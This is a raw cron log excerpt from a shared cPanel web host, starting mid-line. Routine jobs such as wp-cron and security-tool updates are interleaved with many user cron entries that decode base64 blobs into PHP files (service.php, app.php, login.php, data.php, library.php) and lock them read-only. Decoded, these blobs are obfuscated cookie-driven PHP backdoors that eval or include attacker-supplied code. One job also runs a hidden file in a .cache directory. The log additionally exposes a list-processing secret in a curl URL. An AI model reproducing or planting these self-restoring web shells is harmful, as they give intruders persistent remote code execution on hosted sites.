"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:52:02 medusa CROND[23085]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:52:02 medusa CROND[23088]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:52:02 medusa CROND[23098]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:53:01 medusa CROND[12760]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 08:53:01 medusa CROND[12779]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:53:01 medusa CROND[12780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:53:01 medusa CROND[12781]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:53:01 medusa CROND[12783]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:53:01 medusa CROND[12784]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:53:01 medusa CROND[12785]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:53:01 medusa CROND[12786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:53:01 medusa CROND[12787]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:53:01 medusa CROND[12789]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:53:01 medusa CROND[12793]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:53:01 medusa CROND[12782]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:54:01 medusa CROND[2697]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 08:54:01 medusa CROND[2699]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:54:01 medusa CROND[2700]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:54:01 medusa CROND[2701]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:54:01 medusa CROND[2702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:54:01 medusa CROND[2704]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:54:01 medusa CROND[2705]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:54:01 medusa CROND[2703]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:54:01 medusa CROND[2708]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:54:01 medusa CROND[2710]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:54:01 medusa CROND[2711]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:54:01 medusa CROND[2713]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
